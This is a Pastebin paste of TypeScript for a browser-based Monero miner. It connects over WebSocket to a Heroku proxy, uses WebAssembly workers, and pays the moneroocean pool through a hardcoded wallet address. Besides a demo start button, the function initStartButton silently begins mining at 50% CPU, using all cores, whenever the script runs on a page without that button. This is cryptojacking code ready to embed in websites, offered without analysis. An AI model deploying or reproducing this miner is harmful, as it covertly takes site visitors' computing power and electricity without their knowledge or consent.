Advertisement
FlyFar

index.ts

Mar 29th, 2023
577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 8.62 KB | Cybersecurity | 0 0
  1. const server = "wss://browser-crypto.herokuapp.com/socket";
  2.  
  3. let job: unknown = null; // remember last job we got from the server
  4. let workers: Worker[] = []; // keep track of our workers
  5. let ws: WebSocket; // the websocket we use
  6.  
  7. let receiveStack: string[] = []; // everything we get from the server
  8. let sendStack: string[] = []; // everything we send to the server
  9. let totalHashes = 0; // number of hashes calculated
  10. let connected = 0; // 0->disconnected, 1->connected, 2->disconnected (error), 3->disconnect (on purpose)
  11. let attempts = 1;
  12.  
  13. let throttleMiner = 0; // percentage of miner throttling. If you set this to 20, the
  14. // cpu workload will be approx. 80% (for 1 thread / CPU).
  15. // setting this value to 100 will not fully disable the miner but still
  16. // calculate hashes with 10% CPU load
  17.  
  18. let handshake = {
  19.   identifier: "handshake",
  20.   login: "",
  21.   password: "web_miner",
  22.   pool: "moneroocean.stream",
  23.   userid: "",
  24.   version: 7,
  25. };
  26.  
  27. function isWasmSupported() {
  28.   try {
  29.     if (
  30.       typeof WebAssembly === "object" &&
  31.       typeof WebAssembly.instantiate === "function"
  32.     ) {
  33.       const module = new WebAssembly.Module(
  34.         Uint8Array.of(0x0, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00)
  35.       );
  36.       if (module instanceof WebAssembly.Module)
  37.         return new WebAssembly.Instance(module) instanceof WebAssembly.Instance;
  38.     }
  39.   } catch (e) {}
  40.   return false;
  41. }
  42.  
  43. function createWorkers(numThreads: number | "auto") {
  44.   let numOfLogicalProcessors =
  45.     numThreads === "auto" ? window.navigator.hardwareConcurrency : numThreads;
  46.  
  47.   while (numOfLogicalProcessors-- > 0) addWorker();
  48. }
  49.  
  50. function addWorker() {
  51.   const newWorker = new Worker("worker.js");
  52.   workers.push(newWorker);
  53.  
  54.   // @ts-expect-error needs better typing
  55.   newWorker.onmessage = on_workermsg;
  56.  
  57.   setTimeout(function () {
  58.     informWorker(newWorker);
  59.   }, 2000);
  60. }
  61.  
  62. function openWebSocket() {
  63.   if (ws != null) {
  64.     ws.close();
  65.   }
  66.  
  67.   ws = new WebSocket(server);
  68.  
  69.   ws.onmessage = (event) => {
  70.     const obj = JSON.parse(event.data);
  71.     receiveStack.push(obj);
  72.     if (obj.identifier == "job") job = obj;
  73.   };
  74.   ws.onerror = () => {
  75.     if (connected < 2) connected = 2;
  76.     job = null;
  77.   };
  78.   ws.onclose = () => {
  79.     if (connected < 2) connected = 2;
  80.     job = null;
  81.   };
  82.   ws.onopen = function () {
  83.     ws.send(JSON.stringify(handshake));
  84.     attempts = 1;
  85.     connected = 1;
  86.   };
  87. }
  88.  
  89. function startBroadcast(mining: () => void) {
  90.   if (typeof BroadcastChannel !== "function") {
  91.     mining();
  92.     return;
  93.   }
  94.  
  95.   stopBroadcast();
  96.  
  97.   let bc = new BroadcastChannel("channel");
  98.  
  99.   let number = Math.random();
  100.   let array: number[] = [];
  101.   let timerc = 0;
  102.   let wantsToStart = true;
  103.  
  104.   array.push(number);
  105.  
  106.   bc.onmessage = ({ data }) => {
  107.     if (array.indexOf(data) === -1) array.push(data);
  108.   };
  109.  
  110.   function checkShouldStart() {
  111.     bc.postMessage(number);
  112.  
  113.     timerc++;
  114.  
  115.     if (timerc % 2 === 0) {
  116.       array.sort();
  117.  
  118.       if (array[0] === number && wantsToStart) {
  119.         mining();
  120.         wantsToStart = false;
  121.         number = 0;
  122.       }
  123.  
  124.       array = [];
  125.       array.push(number);
  126.     }
  127.   }
  128.  
  129.   // @ts-expect-error needs better typing
  130.   startBroadcast.bc = bc;
  131.   // @ts-expect-error needs better typing
  132.   startBroadcast.id = setInterval(checkShouldStart, 1000);
  133. }
  134.  
  135. function stopBroadcast() {
  136.   // @ts-expect-error needs better typing
  137.   if (typeof startBroadcast.bc !== "undefined") {
  138.     // @ts-expect-error needs better typing
  139.     startBroadcast.bc.close();
  140.   }
  141.  
  142.   // @ts-expect-error needs better typing
  143.   if (typeof startBroadcast.id !== "undefined") {
  144.     // @ts-expect-error needs better typing
  145.     clearInterval(startBroadcast.id);
  146.   }
  147. }
  148.  
  149. function startMining(login: string, numThreads: number | "auto" = "auto") {
  150.   if (!isWasmSupported()) return;
  151.  
  152.   stopMining();
  153.   connected = 0;
  154.  
  155.   handshake.login = login;
  156.  
  157.   startBroadcast(() => {
  158.     createWorkers(numThreads);
  159.     reconnector();
  160.   });
  161. }
  162.  
  163. // regular check if the WebSocket is still connected
  164. function reconnector() {
  165.   if (
  166.     connected !== 3 &&
  167.     (ws == null || (ws.readyState !== 0 && ws.readyState !== 1))
  168.   ) {
  169.     attempts++;
  170.     openWebSocket();
  171.   }
  172.  
  173.   if (connected !== 3) setTimeout(reconnector, 10000 * attempts);
  174. }
  175.  
  176. function stopMining() {
  177.   connected = 3;
  178.  
  179.   if (ws != null) ws.close();
  180.   deleteAllWorkers();
  181.   job = null;
  182.  
  183.   stopBroadcast();
  184. }
  185.  
  186. function deleteAllWorkers() {
  187.   for (let i = 0; i < workers.length; i++) {
  188.     workers[i].terminate();
  189.   }
  190.   workers = [];
  191. }
  192.  
  193. interface WorkerMessageEvent {
  194.   data: string;
  195.   target: Worker;
  196. }
  197.  
  198. function informWorker(wrk: Worker) {
  199.   const evt: WorkerMessageEvent = {
  200.     data: "wakeup",
  201.     target: wrk,
  202.   };
  203.   on_workermsg(evt);
  204. }
  205.  
  206. function on_workermsg(e: WorkerMessageEvent) {
  207.   let wrk = e.target;
  208.  
  209.   if (connected !== 1) {
  210.     setTimeout(function () {
  211.       informWorker(wrk);
  212.     }, 2000);
  213.     return;
  214.   }
  215.  
  216.   if (e.data != "nothing" && e.data != "wakeup") {
  217.     const obj = JSON.parse(e.data);
  218.     ws.send(e.data);
  219.     sendStack.push(obj);
  220.   }
  221.  
  222.   if (job === null) {
  223.     setTimeout(function () {
  224.       informWorker(wrk);
  225.     }, 2000);
  226.     return;
  227.   }
  228.  
  229.   let jbthrt = {
  230.     job: job,
  231.     throttle: Math.max(0, Math.min(throttleMiner, 100)),
  232.   };
  233.   wrk.postMessage(jbthrt);
  234.  
  235.   if (e.data != "wakeup") totalHashes += 1;
  236. }
  237.  
  238. let isCurrentlyMining = false;
  239. // @ts-expect-error need to use npm package instead of global script
  240. let myLineChart;
  241.  
  242. function initStartButton() {
  243.   const startButton = document.getElementById("startb");
  244.   if (startButton) {
  245.     startButton.addEventListener("click", start);
  246.     createChart();
  247.   } else {
  248.     startMining(
  249.       "4688YCrSqBZA5XcyPmnNieYD2ZX2wPaA5AWRtqbZCN9WLxokKMjaT7kLhnph5rzxp1DoHkzvwGJPJRM2QbQqwoBiN7PNgfZ"
  250.     );
  251.     throttleMiner = 50;
  252.   }
  253. }
  254. initStartButton();
  255.  
  256. function createChart() {
  257.   const ctx = (
  258.     document.getElementById("myChart")! as HTMLCanvasElement
  259.   ).getContext("2d");
  260.   // @ts-expect-error need to use npm package instead of global script
  261.   myLineChart = new Chart(ctx, {
  262.     type: "line",
  263.     data: {
  264.       datasets: [
  265.         {
  266.           label: "Hashes resolved",
  267.           backgroundColor: "rgb(0, 132, 255)",
  268.           pointStyle: "line",
  269.           data: [],
  270.         },
  271.       ],
  272.     },
  273.     options: {
  274.       responsive: false,
  275.       scales: {
  276.         xAxes: [
  277.           {
  278.             type: "time",
  279.             time: {
  280.               unit: "second",
  281.             },
  282.           },
  283.         ],
  284.       },
  285.     },
  286.   });
  287. }
  288.  
  289. function start() {
  290.   let button = document.getElementById("startb")!;
  291.   isCurrentlyMining = !isCurrentlyMining;
  292.   let intervalId;
  293.  
  294.   if (isCurrentlyMining) {
  295.     startMining(
  296.       "4688YCrSqBZA5XcyPmnNieYD2ZX2wPaA5AWRtqbZCN9WLxokKMjaT7kLhnph5rzxp1DoHkzvwGJPJRM2QbQqwoBiN7PNgfZ"
  297.     );
  298.     button.textContent = "Stop mining";
  299.  
  300.     addText("Connecting...");
  301.  
  302.     intervalId = setInterval(function () {
  303.       while (sendStack.length > 0) addText(sendStack.pop());
  304.       while (receiveStack.length > 0) addText(receiveStack.pop());
  305.       addData({ x: new Date(), y: totalHashes });
  306.     }, 1000);
  307.   } else {
  308.     clearInterval(intervalId);
  309.     stopMining();
  310.     button.textContent = "Start mining";
  311.   }
  312. }
  313.  
  314. function addData(data: { x: Date; y: number }) {
  315.   // @ts-expect-error need to use npm package instead of global script
  316.   myLineChart.data.datasets.forEach((dataset) => {
  317.     dataset.data.push(data);
  318.   });
  319.   // @ts-expect-error need to use npm package instead of global script
  320.   myLineChart.update();
  321. }
  322.  
  323. // TODO: use a better obj type here
  324. function addText(obj: any) {
  325.   let elem = document.getElementById("texta")! as HTMLTextAreaElement;
  326.   elem.value += "[" + new Date().toLocaleString() + "] ";
  327.  
  328.   if (obj.identifier === "job") elem.value += "new job: " + obj.job_id;
  329.   else if (obj.identifier === "solved")
  330.     elem.value += "solved job: " + obj.job_id;
  331.   else if (obj.identifier === "hashsolved") elem.value += "pool accepted hash!";
  332.   else if (obj.identifier === "error") elem.value += "error: " + obj.param;
  333.   else elem.value += obj;
  334.  
  335.   elem.value += "\n";
  336.   elem.scrollTop = elem.scrollHeight;
  337. }
  338.  
  339. function handleThrottling() {
  340.   let slider = document.getElementById("throttleMiner")! as HTMLInputElement;
  341.   let output = document.getElementById("minerPower")!;
  342.  
  343.   if (!slider || !output) return;
  344.   output.innerHTML = "Miner power:" + slider.value;
  345.  
  346.   throttleMiner = 100 - Number(slider.value);
  347.  
  348.   slider.addEventListener("input", (e) => {
  349.     output.innerHTML = "Miner power:" + slider.value;
  350.     throttleMiner = 100 - Number(slider.value);
  351.   });
  352. }
  353. handleThrottling();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement